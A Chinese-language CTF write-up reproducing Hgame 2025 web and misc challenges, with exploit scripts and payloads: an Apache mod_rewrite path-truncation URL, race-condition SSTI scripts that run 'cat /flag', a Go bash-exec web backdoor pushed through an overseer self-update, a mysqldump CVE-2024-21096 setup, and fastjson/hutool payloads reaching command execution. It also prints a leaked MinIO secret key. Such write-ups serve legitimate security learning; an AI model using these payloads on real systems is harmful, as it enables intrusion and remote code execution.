Hgame2025 部分赛题复现 Week1 Web Level 24 Pacman 这道题做出来了,但是有更简单的方法
游戏失败一次后即可得到一个“gift”,经过 base64+ 栅栏密码解密得到一个假的 flag
flag 是在游戏通关后给出,那么就完全可能在 js 源码里找到 flag 相关的字符串。这里可以结合关键字“gift”进行搜索,发现了另一个不同的“gift”,同样的方式解密即可得到 flag
Level 38475 角落 用 dirsearch 目录扫描可以发现 robots.txt,其中有敏感信息 app.conf
从中可以拿到 app.py 的绝对路径,再利用 rewrite 来读⽂件,做题时未能联想到这一点,也不了解 CVE-2024-38475,只是用 L1nk/
开头的 user-agent
扫描爆破,所以未能找到任何有效信息。
研读一下参考资料:https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/ 可知,Apache 的 mod_rewrite 允许网站管理员透过 RewriteRule 语法轻松的将路径透过指定的规则改写:
1 RewriteRule Pattern Substitution [flags]
其中目标可以是一个档案系统路径或是一个网址,在改写路径时,mod_rewrite 会强制把结果视为网址处理(splitout_queryargs()),这导致了在 HTTP 请求中可以透过一个问号 %3F
去截断 RewriteRule 后面的路径或网址,从而引出了路径截断和误导 RewriteFlag 的设置两种攻击方式,本题涉及的应该是前者。
所以访问 /admin/usr/local/apache2/app/app.py%3f
可以截断后面的内容读取到 app.py 的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from flask import Flask, request, render_template, render_template_string, redirectimport osimport templates app = Flask(__name__) pwd = os.path.dirname(__file__) show_msg = templates.show_msgdef readmsg (): filename = pwd + "/tmp/message.txt" if os.path.exists(filename): f = open (filename, 'r' ) message = f.read() f.close() return message else : return 'No message now.' @app.route('/index' , methods=['GET' ] ) def index (): status = request.args.get('status' ) if status is None : status = '' return render_template("index.html" , status=status)@app.route('/send' , methods=['POST' ] ) def write_message (): filename = pwd + "/tmp/message.txt" message = request.form['message' ] f = open (filename, 'w' ) f.write(message) f.close() return redirect('index?status=Send successfully!!' ) @app.route('/read' , methods=['GET' ] ) def read_message (): if "{" not in readmsg(): show = show_msg.replace("{{message}}" , readmsg()) return render_template_string(show) return 'waf!!' if __name__ == '__main__' : app.run(host = '0.0.0.0' , port = 5000 )
从源码中可以发现,留言板发送的信息会写入 /tmp/message.txt
中,存在 /read
路由也就是 /app/read
可以读取留言板发送的信息 /tmp/message.txt
并直接渲染在模版中返回,但前提是不能包含 {
,否则返回 'waf!!'
。那么可以考虑通过 SSTI 实现 RCE,通过条件竞争来绕过 if 判断语句。
先自己写个脚本试一下,对写入和读取过程进行条件竞争,在前一次读取文件无 {
通过 if 判断后、后一次读取文件传入 show 渲染前,写入目标语句 {{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
,实现 RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import threadingimport requestsdef send_ (): data={"message" : "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}" } res=requests.post("http://node1.hgame.vidar.club:30668/app/send" ,data=data)def read_ (): res=requests.get("http://node1.hgame.vidar.club:30668/app/read" ) print (res.text) threads=[]for i in range (15 ): thread1=threading.Thread(target=send_) thread2=threading.Thread(target=read_) threads.append(thread1) threads.append(thread2) thread1.start() thread2.start()for t in threads: t.join()
官方 WP 所给脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requests import threading url = 'http://node1.hgame.vidar.club:32737/' data = { "messgae" : "" , } def write_msg (i ): data["message" ] = "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}" +str (i) r = requests.post(url + '/app/send' , data=data) def read_msg (i ): r = requests.get(url + '/app/read' ) print (i, "read" , r.text) if "Latest" in r.text: print (r.text) exit() threads = [] for i in range (10 ): thread = threading.Thread(target=write_msg, args=(i,)) threads.append(thread) thread.start() thread = threading.Thread(target=read_msg, args=(i,)) threads.append(thread) thread.start() for thread in threads: thread.join()
Level 25 双面人派对 比赛的时候不熟悉 IDA 且未及时购买第二个提示,且末尾心态有些急,成功脱壳后没找到配置的内容,导致即便知道了后续的解题思路也无从下手 https://baimeow.cn/posts/ctf/d3go/ 。重新检索了一下 IDA 相关用法,通过查找所有字符串找到了这段配置
1 2 3 4 5 6 minio: endpoint: "127.0.0.1:9000" access_key: "minio_admin" secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=" bucket: "prodbucket" key: "update"
使用 minio client 连接靶机(题目给的第一个地址)获取源码 src.zip
main.go 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package mainimport ( "level25/fetch" "level25/conf" "github.com/gin-gonic/gin" "github.com/jpillora/overseer" )func main () { fetcher := &fetch.MinioFetcher{ Bucket: conf.MinioBucket, Key: conf.MinioKey, Endpoint: conf.MinioEndpoint, AccessKey: conf.MinioAccessKey, SecretKey: conf.MinioSecretKey, } overseer.Run(overseer.Config{ Program: program, Fetcher: fetcher, }) }func program (state overseer.State) { g := gin.Default() g.StaticFS("/" , gin.Dir("." , true )) g.Run(":8080" ) }
从源码和提示 结合对 overseer 的搜索可以发现使用了 overseer 对程序热加载,文件变更后会自动重启更新,解题思路也就是从自更新入手打 RCE。
那么先在本地修改 main.go 文件,注释掉原有的静态⽂件托管,写入 WP 所给后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 func program (state overseer.State) { g := gin.Default() g.GET("/shell" , func (c *gin.Context) { cmd, _ := c.GetQuery("cmd" ) out, err := exec.Command("bash" , "-c" , cmd).CombinedOutput() if err != nil { c.String(500 , err.Error()) return } c.String(200 , string (out)) }) g.Run(":8080" ) }
然后使用 go build -o update
编译文件为 update(源文件名)
再上传覆盖原文件 mc cp ./update ctf-minio/prodbucket/update
等自更新完成后向靶机发送 get 请求 RCE,得到 flag(题目给的第二个地址)
参考:https://infernity.top/2025/02/03/Hgame-2025-week1/#Level-25-%E5%8F%8C%E9%9D%A2%E4%BA%BA%E6%B4%BE%E5%AF%B9
Week2 Web Level 21096 HoneyPot_Revenge 比赛时针对 mysqldump 尝试用网上找到的 mysql 协议伪造程序解题,但未能成功,也没有关注到 CVE-2024-21096 漏洞,看 WP 后问题确实在 mysqldump 上
参考 WP 和博客 https://tech.ec3o.fun/2024/10/25/Web-Vulnerability%20Reproduction/CVE-2024-21096/ 自行编译一个 mysql 服务进行复现:
先搭安装编译依赖
1 2 3 4 5 sudo apt-get update sudo apt-get install -y build-essential cmake bison libncurses5-dev libtirpc-dev libssl-dev pkg-config wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-boost-8.0.34.tar.gz tar -zxvf mysql-boost-8.0.34.tar.gz cd mysql-8.0.34
然后在 mysql-8.0.34/include
目录下找到 mysql_version.h.in
版本模板文件如下,对其进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #ifndef _mysql_version_h #define _mysql_version_h #define PROTOCOL_VERSION @PROTOCOL_VERSION @ #define MYSQL_SERVER_VERSION "@VERSION@" #define MYSQL_BASE_VERSION "mysqld-@MYSQL_BASE_VERSION@" #define MYSQL_SERVER_SUFFIX_DEF "@MYSQL_SERVER_SUFFIX@" #define MYSQL_VERSION_ID @MYSQL_VERSION_ID @ #define MYSQL_PORT @MYSQL_TCP_PORT @ #define MYSQL_ADMIN_PORT @MYSQL_ADMIN_TCP_PORT @ #define MYSQL_PORT_DEFAULT @MYSQL_TCP_PORT_DEFAULT @ #define MYSQL_UNIX_ADDR "@MYSQL_UNIX_ADDR@" #define MYSQL_CONFIG_NAME "my" #define MYSQL_PERSIST_CONFIG_NAME "mysqld-auto" #define MYSQL_COMPILATION_COMMENT "@COMPILATION_COMMENT@" #define MYSQL_COMPILATION_COMMENT_SERVER "@COMPILATION_COMMENT_SERVER@" #define LIBMYSQL_VERSION "@VERSION@" #define LIBMYSQL_VERSION_ID @MYSQL_VERSION_ID @ #ifndef LICENSE #define LICENSE GPL #endif #endif
修改该处即可 #define MYSQL_SERVER_VERSION "@VERSION@"
编译(很久,所以上一步修改需谨慎)
1 2 3 4 mkdir build //在刚才的mysql目录下 cd build cmake .. -DDOWNLOAD_BOOST=1 -DWITH_BOOST=../boost make -j$(nproc)
安装 MySQL sudo make install
创建⽤⼾组
1 2 sudo groupadd mysql sudo useradd -r -g mysql -s /bin/false mysql
数据库初始化
1 sudo /usr/local/mysql/bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
并获得初始账号密码
设置⽬录权限
1 2 sudo chown -R mysql:mysql /usr/local/mysql sudo chown -R mysql:mysql /usr/local/mysql/data
启动服务、使⽤记录的 root 密码登录
1 2 sudo /usr/local/mysql/bin/mysqld_safe --user=mysql & /usr/local/mysql/bin/mysql -u root -p
重置密码并创建 test 库
1 2 3 ALTER USER 'root' @'localhost' IDENTIFIED BY 'password' ; FLUSH PRIVILEGES; CREATE DATABASE test;
配置远程连接登录
1 2 3 4 5 use mysql;update user set host = '%' where user = 'root' ; ##改为* * '%' * * 允许任何ip访问select user ,host from user ; ## 查看用户访问端口如下 FLUSH PRIVILEGES; ## 刷新服务配置项 EXIT;
查看 mysqldump 版本测试 /usr/local/mysql/bin/mysql --version
,可以看到插入的命令
虚拟机配置桥接模式,与服务器通过 ssh 反向隧道构建端口映射
虚拟机上输入
sudo ssh -fN -R (服务器端口)3306:localhost:3306(虚拟机端口) 服务器登录账户名@服务器公网ip
虚拟机上可使用 ps aux | grep "ssh -NfR"
查看连接情况
服务器上输入
1 2 3 vim /etc/ssh/sshd_config #修改配置加上GatewayPorts yes语句允许反向隧道 sudo systemctl restart sshd #重启 SSH 服务 ps aux | grep ssh #查看SSH隧道状态
用主机尝试通过服务器 ip 登录 mysql,登录成功
导入靶机数据库
访问 /flag
,发现成功 RCE,获得 flag
参考:
https://fanllspd.com/posts/cf41815c/#Level-21096-HoneyPot-Revenge
https://tech.ec3o.fun/2024/10/25/Web-Vulnerability%20Reproduction/CVE-2024-21096/
https://blog.csdn.net/INSBUG/article/details/142262709
Level 60 SignInJava 赛时没做,现在再看看题目。下载附件,里面一个 SigninJava.jar,在 idea 里 Add as Library 添加为库即可查看源码(jar 文件当做压缩包即可),打开后文件结构如下,应该是用了 spring 框架 MVC 模式
其中 BaseResponse 规定了返回内容的格式,APIGatewayController 作为控制层规定了路由接口和接受请求后控制、调用的规则,HelloService 和 FlagTestService 处理逻辑业务,分别返回“hello xxx”和读取/flag,InvokeUtils 和 SpringContextHolder 作为工具或插件,前者可以调用指定 bean 和其指定方法并传入参数,后者可以方便地引用各种 bean 而不需要注入。
重点看 APIGatewayController 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package icu.Liki4.signin.controller;import cn.hutool.core.util.StrUtil;import com.alibaba.fastjson2.JSON;import icu.Liki4.signin.base.BaseResponse;import icu.Liki4.signin.util.InvokeUtils;import jakarta.servlet.http.HttpServletRequest;import java.util.Map;import java.util.Objects;import org.apache.commons.io.IOUtils;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.ResponseBody;@Controller @RequestMapping({"/api"}) public class APIGatewayController { public APIGatewayController () { } @RequestMapping( value = {"/gateway"}, method = {RequestMethod.POST} ) @ResponseBody public BaseResponse doPost (HttpServletRequest request) throws Exception { try { String body = IOUtils.toString(request.getReader()); Map<String, Object> map = (Map)JSON.parseObject(body, Map.class); String beanName = (String)map.get("beanName" ); String methodName = (String)map.get("methodName" ); Map<String, Object> params = (Map)map.get("params" ); if (StrUtil.containsAnyIgnoreCase(beanName, new CharSequence []{"flag" })) { return new BaseResponse (403 , "flagTestService offline" , (Object)null ); } else { Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params); return new BaseResponse (200 , (String)null , result); } } catch (Exception var8) { Exception e = var8; return new BaseResponse (500 , ((Throwable)Objects._requireNonNullElse_(e.getCause(), e)).getMessage(), (Object)null ); } } }
只开放了 /api/gateway
,可以通过 post 方法 json 格式传递 beanName
、methodName
、params
(Map 类型)三个参数,其中 StrUtil.containsAnyIgnoreCase
对 beanName
字符串检测是否含有 flag(不区分大小写,均过滤),若有则返回 "flagTestService offline"
,若无则调用对应的 bean 中的方法,返回结果。
为了尝试调用 bean 先去了解了一下 Spring 注解自动生成的 Bean 的 name 属性命名规则,在类上加 @``Component
、@Repository
、@Service
、@Controller
注解来定义 bean 时 spring 会自动生成 bean,如果不主动定义 bean 的 name 那么默认以类名称的首字母小写作为 bean 的 name 属性。例如 HelloService 类的 bean 就是 helloService。
尝试,得到预期返回
尝试调用 flagTestService 未能找到过滤绕过方法
于是尝试利用 SpringContextHolder,但只能获取实例,无法调用方法获取 flag
后面找不到可行的思路了,开始借鉴网上的博客和 WP,需要寻找其他 bean 可利用的类,然而我不知道他们是如何筛选出目标来的,只知道最终找到的是 hutool 的 RuntimeUtil 具有命令执行的方法,然而该类并没有被注册,所以命令执行前需要先用 hutool 里的注册 bean 的方法。(或许还与反序列化有关?此处并未搞懂)
通过 hutool 的 SpringUtil 注册 hutool 的 RuntimeUtil
1 2 3 4 5 6 7 8 9 10 { "beanName" :"cn.hutool.extra.spring.SpringUtil" , "methodName" :"registerBean" , "params" :{ "arg0" :"execCmd" , "arg1" :{ "@type" :"cn.hutool.core.util.RuntimeUtil" } } }
调用 RuntimeUtil 的 execForStr 实现 RCE 获得 flag
1 2 3 4 5 6 7 8 { "beanName" :"execCmd" , "methodName" :"execForStr" , "params" :{ "arg0" :"utf-8" , "arg1" :["/readflag" ] } }
参考:https://www.n0o0b.com/archives/hgame2025-week2#level-60-signinjava
Misc Computer cleaner plus 尝试过检索所有可执行文件、关键目录的查找、按关键字检索、alias 别名、查看进程、启动项、历史命令等等,但未找到恶意可执行文件。
官方 WP 给出的是 rpm -Vf /usr/bin/*
,该指令可以用 rpm 验证 /usr/bin/
目录下所有文件所属的 RPM 软件包是否被修改,我去执行后可以发现 ps 相关内容经过修改
1 2 3 4 5 6 7 8 9 各字母含义如下: S 文件大小是否改变 M 文件的类型或文件的权限(rwx)是否被改变5 文件MD5 校验是否改变(可以看成文件内容是否改变) D 设备中,从代码是否改变 L 文件路径是否改变 U 文件的属主(所有者)是否改变 G 文件的属组是否改变T 文件的修改时间是否改变
说明 ps 文件的大小、权限、内容、修改时间均发生变化,下面还有多处
所以查看 ps 文件,发现可疑 elf 文件即为 flag
这里修改后的命令运行了后门程序 B4ck_D0_oR.elf
,然后调用 /.hide_command
下的 ps 命令,再过滤了包含 shell
和 B4ck_D0_oR
的相关内容。